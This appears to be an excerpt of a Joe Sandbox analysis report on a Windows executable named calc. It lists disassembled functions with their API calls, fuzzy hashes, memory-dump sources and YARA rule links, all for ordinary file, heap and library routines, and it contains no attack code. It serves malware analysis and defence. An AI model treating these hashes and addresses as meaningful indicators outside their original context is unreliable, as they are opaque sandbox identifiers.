    • Opcode ID: 377cb6a1556d2c0b34a69d2726eb7eac8501c5ce8fbfca6eb216596d4b31a9b1
    • Instruction ID: 43232d2ce80c1354198d9eaea2583da01791e04a0cef509c89e940ee515f7624
    • Opcode Fuzzy Hash: 377cb6a1556d2c0b34a69d2726eb7eac8501c5ce8fbfca6eb216596d4b31a9b1
    • Instruction Fuzzy Hash: 49E06D769422209BCB202BB0ACCC9DF3B59A70621371618B2F54292291C729CCC6A66C
    Function 00401904 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
    Download Yara Rule
    APIs
    • LoadLibraryA.KERNELBASE(uxtheme.dll,00401884), ref: 0040190F
    • GetProcAddress.KERNEL32(00000000,IsThemeActive), ref: 00401921
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.1420056247.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000007.00000002.1420026776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420251759.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420271872.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_400000_calc.jbxd
    Similarity
    • API ID: AddressLibraryLoadProc
    • String ID: IsThemeActive$uxtheme.dll
    • API String ID: 2574300362-3542929980
    • Opcode ID: ed6c78d227b817cdbed870c23739e6fb2758cfda5514cb43d7da1eea0dd35e15
    • Instruction ID: eea2efce3837e0203db1cb3c4d5c02faa46c89d2bfa5e81eac7c0935e43c98e4
    • Opcode Fuzzy Hash: ed6c78d227b817cdbed870c23739e6fb2758cfda5514cb43d7da1eea0dd35e15
    • Instruction Fuzzy Hash: 4ED0C9B1540702EECB205F61C8897127AE8BB14703F20987BF88AE26A1E778D644CA1C
    Function 0044FF81 Relevance: 6.2, APIs: 4, Instructions: 168fileCOMMON
    Download Yara Rule
    APIs
    • ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000003), ref: 0044FFFB
    • GetLastError.KERNEL32 ref: 00450005
    • ReadFile.KERNEL32(?,?,00000001,00000000,00000000), ref: 004500CE
    • GetLastError.KERNEL32 ref: 004500D8
    Memory Dump Source
    • Source File: 00000007.00000002.1420056247.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000007.00000002.1420026776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420251759.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420271872.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_400000_calc.jbxd
    Similarity
    • API ID: ErrorFileLastRead
    • String ID:
    • API String ID: 1948546556-0
    • Opcode ID: 106ceec12e824d1f921699dafc9b08d4ae01bbaa5a8b869dbfd030dde0547a2e
    • Instruction ID: 6471931987010d01bcf4aa760061fc4daebf1b9b9bd924f830c326e67dc1cfed
    • Opcode Fuzzy Hash: 106ceec12e824d1f921699dafc9b08d4ae01bbaa5a8b869dbfd030dde0547a2e
    • Instruction Fuzzy Hash: DE61B5389047859FDB218F58C884BAE7BF0AF02316F14419BEC658B393D779D949CB1A
    Function 00442D0D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 90COMMON
    Download Yara Rule
    APIs
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.1420056247.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000007.00000002.1420026776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420251759.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420271872.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_400000_calc.jbxd
    Similarity
    • API ID: _strcat
    • String ID: AU3!$EA05
    • API String ID: 1765576173-125543416
    • Opcode ID: 17153ac72172eb9a604a519bf3944ddec50a013f6248d7b1dea916bafee717f8
    • Instruction ID: 29d5f5a1b1809eb385cd818f5a50e58fa9f1bd2989d91b3669fe8a792949b4ba
    • Opcode Fuzzy Hash: 17153ac72172eb9a604a519bf3944ddec50a013f6248d7b1dea916bafee717f8
    • Instruction Fuzzy Hash: 70218F71D402086AFB11DAA8CD46FEE3BA9AF44308F6408AFF141E7183E5F49244876A
    Function 0044FEA0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 79COMMON
    Download Yara Rule
    APIs
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.1420056247.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000007.00000002.1420026776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420251759.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420271872.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_400000_calc.jbxd
    Similarity
    • API ID: __getbuf
    • String ID: o-D$pYF
    • API String ID: 554500569-2041862546
    • Opcode ID: 43c3c69ad03a229e1e8eb7df82381eef4f8a4a41fcf0637eb458d4d674484f8b
    • Instruction ID: 45ab4429e61f8382d5639e8b3e42171f035d9681ef4c197fd688d929c02a0895
    • Opcode Fuzzy Hash: 43c3c69ad03a229e1e8eb7df82381eef4f8a4a41fcf0637eb458d4d674484f8b
    • Instruction Fuzzy Hash: FD219331414B018FE7348E29C450763B7E1AF56374B248A2FE4F6877D2D739A84E8B48
    Function 0044FAF0 Relevance: 4.6, APIs: 3, Instructions: 146fileCOMMONLIBRARYCODE
    Download Yara Rule
    APIs
    • WriteFile.KERNEL32(?,?,?,?,00000000,?,?,00000001), ref: 0044FBE0
    Memory Dump Source
    • Source File: 00000007.00000002.1420056247.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000007.00000002.1420026776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420251759.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420271872.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_400000_calc.jbxd
    Similarity
    • API ID: FileWrite
    • String ID:
    • API String ID: 3934441357-0
    • Opcode ID: 2232f439ec6bcbb526f72077e2e8a9aff7e1540724577345c53341a595c8efdf
    • Instruction ID: 70d429ee7121439abd4bc97c56a079324356a00733651e9dd73cd6a5f99de41e
    • Opcode Fuzzy Hash: 2232f439ec6bcbb526f72077e2e8a9aff7e1540724577345c53341a595c8efdf
    • Instruction Fuzzy Hash: E5514E71900248CFEF25DFA8C984AADBBB8FF0A305F24056EE8559B252D7349909CB19
    Function 00414E97 Relevance: 4.6, APIs: 3, Instructions: 75COMMON
    Download Yara Rule
    APIs
    • SHGetMalloc.SHELL32(?), ref: 00414EB8
    • SHGetDesktopFolder.SHELL32(?), ref: 00414ED7
    • SHGetPathFromIDListW.SHELL32(?,?), ref: 00414F0D
    Memory Dump Source
    • Source File: 00000007.00000002.1420056247.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000007.00000002.1420026776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420251759.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420271872.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_400000_calc.jbxd
    Similarity
    • API ID: DesktopFolderFromListMallocPath
    • String ID:
    • API String ID: 2281215042-0
    • Opcode ID: fd54a320faa334825c183696fc3281f20257b6f4e8e051d3b8ff61a2d48e6b5c
    • Instruction ID: 420e6610a152b6402536c0acf94c904dc319534d543c5730a20390f59e048e41
    • Opcode Fuzzy Hash: fd54a320faa334825c183696fc3281f20257b6f4e8e051d3b8ff61a2d48e6b5c
    • Instruction Fuzzy Hash: 44218C76900219ABDB10DFA0D888EDEB7B9AF48710F10409AF9059B290DB35EE45CB58
    Function 00401852 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 46COMMON
    Download Yara Rule
    APIs
      • Part of subcall function 00401904: LoadLibraryA.KERNELBASE(uxtheme.dll,00401884), ref: 0040190F
      • Part of subcall function 00401904: GetProcAddress.KERNEL32(00000000,IsThemeActive), ref: 00401921
    • FreeLibrary.KERNEL32(?,0047BCF4,?), ref: 004018E0
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.1420056247.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000007.00000002.1420026776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420251759.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420271872.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_400000_calc.jbxd
    Similarity
    • API ID: Library$AddressFreeLoadProc
    • String ID: Wu
    • API String ID: 145871493-4083010176
    • Opcode ID: afee0c295e40e99ab34158f1244b547d01bcead8f6ed44e632cc355ff5b29751
    • Instruction ID: 01922d125a099be2173beefaa94b615fd73c8a70fa8edead01576b879d90f1d3
    • Opcode Fuzzy Hash: afee0c295e40e99ab34158f1244b547d01bcead8f6ed44e632cc355ff5b29751
    • Instruction Fuzzy Hash: 9F0140B2D04204AFD701BFAAAC0159DBBE4EB94708B10C07BF904E3261D7B85A40DB5E
    Function 00442C1C Relevance: 3.1, APIs: 2, Instructions: 85COMMON
    Download Yara Rule
    APIs
      • Part of subcall function 004168A2: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,0045C6D0,?,?,?,00442C32,00000000,0045C6D0), ref: 004168CE
      • Part of subcall function 004168A2: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00442C32,00000000,0045C6D0), ref: 004168F0
    • _strcat.LIBCMT ref: 00442C49
    • _strcat.LIBCMT ref: 00442C56
      • Part of subcall function 00442A91: _strlen.LIBCMT ref: 00442A99
      • Part of subcall function 00442D0D: _strcat.LIBCMT ref: 00442D41
    Memory Dump Source
    • Source File: 00000007.00000002.1420056247.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000007.00000002.1420026776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420251759.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420271872.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_400000_calc.jbxd
    Similarity
    • API ID: _strcat$ByteCharMultiWide$_strlen
    • String ID:
    • API String ID: 1312754939-0
    • Opcode ID: 3712e034746cfa9d275968536f5e73e61f62d0093438a87d15a237fa94b18d45
    • Instruction ID: b0cc53737743a3ac0a727fc92c25a37191f4a65ad63c267f3757994ee01627ef
    • Opcode Fuzzy Hash: 3712e034746cfa9d275968536f5e73e61f62d0093438a87d15a237fa94b18d45
    • Instruction Fuzzy Hash: 96219DB29105242FFB20BB768C82B9EB79CFF01318F50896FF465D2182EB7CD9104699
    Function 0044F7F5 Relevance: 3.0, APIs: 2, Instructions: 43COMMONLIBRARYCODE
    Download Yara Rule
    APIs
    • SetFilePointer.KERNELBASE(00000000,00000000,00000000,?,?,?,0044F8C0,?,00000000,0044EFF8,0045B9B8,0000000C,0044CCA9,?,00000000,00000002), ref: 0044F822
    • GetLastError.KERNEL32 ref: 0044F82F
    Memory Dump Source
    • Source File: 00000007.00000002.1420056247.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000007.00000002.1420026776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420251759.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420271872.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_400000_calc.jbxd
    Similarity
    • API ID: ErrorFileLastPointer
    • String ID:
    • API String ID: 2976181284-0
    • Opcode ID: ef301333862fd523fcfef0701836ec2e687ab67301aea6ab59806455b9707fa4
    • Instruction ID: f4beb2f81c7b533093f19090f57eb703413f6fe32cdcc2261b4f7d7860460413
    • Opcode Fuzzy Hash: ef301333862fd523fcfef0701836ec2e687ab67301aea6ab59806455b9707fa4
    • Instruction Fuzzy Hash: 6101F4326046215AEB106F3CFC0895E37649B81331F120B6AF171CF2E2DF34CC458269
    Function 00449C88 Relevance: 3.0, APIs: 2, Instructions: 35memoryCOMMONLIBRARYCODE
    Download Yara Rule
    APIs
    • __lock.LIBCMT ref: 00449CA6
      • Part of subcall function 0044C6DB: RtlEnterCriticalSection.NTDLL(?), ref: 0044C703
    • RtlFreeHeap.NTDLL(00000000,?,0045B078,0000000C,0044C6BF,00000000,0045B3A0,00000008,0044C6F4,?,?,?,00449A5F,00000004,0045B068,0000000C), ref: 00449CED
    Memory Dump Source
    • Source File: 00000007.00000002.1420056247.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000007.00000002.1420026776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420251759.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420271872.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_400000_calc.jbxd
    Similarity
    • API ID: CriticalEnterFreeHeapSection__lock
    • String ID:
    • API String ID: 3012239193-0
    • Opcode ID: cf883bd2fe04d4a07ca51566a703a3cd097dd1853a5e94b071277c6f3932a8ef
    • Instruction ID: 352e0a56757a29f70fda5dbbd02c219ebdc15a73ecec0d8b306ef4bd3729acd0
    • Opcode Fuzzy Hash: cf883bd2fe04d4a07ca51566a703a3cd097dd1853a5e94b071277c6f3932a8ef
    • Instruction Fuzzy Hash: FCF0F030841202AAFF706B629C46B5F7BA0AF00768F20011FF4102A1D1CB3C5D41AA8C
    Function 00449A38 Relevance: 3.0, APIs: 2, Instructions: 34memoryCOMMONLIBRARYCODE
    Download Yara Rule
    APIs
    • __lock.LIBCMT ref: 00449A5A
      • Part of subcall function 0044C6DB: RtlEnterCriticalSection.NTDLL(?), ref: 0044C703
    • RtlAllocateHeap.NTDLL(00000000,?,0045B068), ref: 00449A9B
    Memory Dump Source
    • Source File: 00000007.00000002.1420056247.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000007.00000002.1420026776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420251759.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420271872.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_400000_calc.jbxd
    Similarity
    • API ID: AllocateCriticalEnterHeapSection__lock
    • String ID:
    • API String ID: 409319249-0
    • Opcode ID: ba8956f323e289275a4f63e35acf058c2551b89be229d334ec6b190de484c1ae
    • Instruction ID: fdb724486434b2d6e8ccd2904e3ef89b22f67d2e8c8e0598606752c53c52e891
    • Opcode Fuzzy Hash: ba8956f323e289275a4f63e35acf058c2551b89be229d334ec6b190de484c1ae
    • Instruction Fuzzy Hash: 3DF0C231C502509BEB60ABA19C0675F7360AB00768F20422EE8207A2F1C73C5C05A78C
    Function 0044E07D Relevance: 3.0, APIs: 2, Instructions: 26memoryCOMMON
    Download Yara Rule
    APIs
    • HeapCreate.KERNELBASE(00000000,00001000,00000000,0044BF66,00000001,?,0045B1B8,00000060), ref: 0044E08E
      • Part of subcall function 0044E0CE: RtlAllocateHeap.NTDLL(00000000,00000140,0044E0B6), ref: 0044E0DB
    • HeapDestroy.KERNEL32(?,0045B1B8,00000060), ref: 0044E0C1
    Memory Dump Source
    • Source File: 00000007.00000002.1420056247.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000007.00000002.1420026776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420251759.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420271872.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_400000_calc.jbxd
    Similarity
    • API ID: Heap$AllocateCreateDestroy
    • String ID:
    • API String ID: 316229882-0
    • Opcode ID: a2267900713be7d8cbac622d64c56fe0b2f8973e4e4a166c9e297e1a64908aa3
    • Instruction ID: ca41273765c5c3aab36d8d05c3b896e55048c7fa67c0c8062e034f08bda47014
    • Opcode Fuzzy Hash: a2267900713be7d8cbac622d64c56fe0b2f8973e4e4a166c9e297e1a64908aa3
    • Instruction Fuzzy Hash: 60E048706613109AFB546B736C0572A36D4FB44747F004C3EF465C61E0EBB8CC449709
    Function 00416168 Relevance: 3.0, APIs: 2, Instructions: 23COMMON
    Download Yara Rule
    APIs
    • EnumResourceNamesW.KERNELBASE(00000000,0000000E,0041605B,000000A1,004012E6,000000A1,?,?,?,?,?,?,?,00401243,?,?), ref: 00416192
    • LoadImageW.USER32(000000A1,00000001,00000010,00000010,00000000,004012E6), ref: 004161B3
    Memory Dump Source
    • Source File: 00000007.00000002.1420056247.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000007.00000002.1420026776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420251759.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420271872.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_400000_calc.jbxd
    Similarity
    • API ID: EnumImageLoadNamesResource
    • String ID:
    • API String ID: 1578290342-0
    • Opcode ID: 249b71e9550ada3b2cdf6ed6da1a3c1595c538e7d83d5dc9b0de724d6460e20e
    • Instruction ID: 388dc2f8e504b4818ad8221c326ea7f1357133d35e6b367d3968a5e83fac51bc
    • Opcode Fuzzy Hash: 249b71e9550ada3b2cdf6ed6da1a3c1595c538e7d83d5dc9b0de724d6460e20e
    • Instruction Fuzzy Hash: D2F06D70244300BBFB218F95ED49B5A3BA5AB40B5AF100D2AF104A55F0E3F4CA90DB9E
    Function 0044FD57 Relevance: 2.6, APIs: 2, Instructions: 52COMMON
    Download Yara Rule
    APIs
    • CloseHandle.KERNELBASE(00000000,00000000,00000000,00455E82,00000000), ref: 0044FD91
    • GetLastError.KERNEL32 ref: 0044FD9B
    Memory Dump Source
    • Source File: 00000007.00000002.1420056247.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000007.00000002.1420026776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420251759.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420271872.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_400000_calc.jbxd
    Similarity
    • API ID: CloseErrorHandleLast
    • String ID:
    • API String ID: 918212764-0
    • Opcode ID: 4ebd943a157eb07ac9634cd6ca5a110ba93b6a05e5397113cf76f4c5a41d9ed1
    • Instruction ID: dfd6dc24ececc12b093a21fe2a3d80e4ea14aafa4b6e7905c67d2704a465acd5
    • Opcode Fuzzy Hash: 4ebd943a157eb07ac9634cd6ca5a110ba93b6a05e5397113cf76f4c5a41d9ed1
    • Instruction Fuzzy Hash: 3601F73AD0165155E7243639680AA5F22548FC1326F25097FF822C72C3DE1CC849419E
    Function 00443162 Relevance: 1.6, APIs: 1, Instructions: 138COMMON
    Download Yara Rule
    APIs
      • Part of subcall function 004168A2: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,0045C6D0,?,?,?,00442C32,00000000,0045C6D0), ref: 004168CE
    • _strcat.LIBCMT ref: 00443184
      • Part of subcall function 00449C88: __lock.LIBCMT ref: 00449CA6
      • Part of subcall function 00449C88: RtlFreeHeap.NTDLL(00000000,?,0045B078,0000000C,0044C6BF,00000000,0045B3A0,00000008,0044C6F4,?,?,?,00449A5F,00000004,0045B068,0000000C), ref: 00449CED
    Memory Dump Source
    • Source File: 00000007.00000002.1420056247.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000007.00000002.1420026776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420056247.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420251759.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000007.00000002.1420271872.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_400000_calc.jbxd
    Similarity
    • API ID: ByteCharFreeHeapMultiWide__lock_strcat
    • String ID:
    • API String ID: 4005365108-0
